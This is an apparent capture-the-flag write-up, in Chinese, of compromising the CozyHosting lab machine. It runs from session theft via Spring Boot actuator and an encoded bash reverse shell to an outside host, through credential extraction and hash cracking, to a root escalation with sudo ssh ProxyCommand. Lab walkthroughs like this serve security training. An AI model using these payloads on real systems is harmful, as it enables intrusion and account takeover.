信息搜集
nmap扫描一下,发现存在80端口和22端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.230
直接访问80端口发现有跳转
那么我们将ip添加到hosts里面,成功访问
观察发现是企业网站,扫描一下没有子域名
那么就扫下目录,这里直接用dirsearch快一点
得到信息/actuator/
文件路径,并且actuator是java框架spring boot的一个程序监视器
存在路径/admin
,直接访问会跳转到/login
我们逐一去看
/env
/sessions
/health
/mappings
我们发现/sessions
泄露了用户kanerson的session
访问/admin
然后bp抓包修改session登录成功
拖到最下面,存在一个使用SSH和密钥进行添加远程主机的功能
我们抓包看看,发现存在rce漏洞
构造bash -i >& /dev/tcp/10.10.14.59/1028 0>&1
,用base64编码绕过
`{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41OS8xMDI4IDA+JjE=}|{base64,-d}|{bash,-i}`
然后url编码一下成功反弹shell
ls一下发现有jar包,我们找一下密码
我们在靶机上开启服务器
python3 -m http.server 8090
然后用wget下载下来jar包
丢到idea反编译
从代码中获取到postgres用户密码和数据库名cozyhosting
我们查看下/etc/passwd
可以知道postgres也是靶机用户
这里使用得到密码尝试登录到postgres用户失败了,于是尝试连接数据库。发现靶机环境中存在postgresql数据库连接工具psql,尝试连接数据库。
psql -U postgres -W -h localhost -d cozyhosting
连接成功后我们查看下数据库
然后选择数据库cozyhosting,输入密码
\c cozyhosting
用\d
参数查看所有的表
得到密码
然后用工具john爆破
得到密码后,查看下用户发现只剩下josh为普通用户
那么我们尝试ssh连接,成功得到user的flag
然后就是提权,我们sudo -l
看看
发现有ssh命令,查下相关资料
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
成功提权,得到root的flag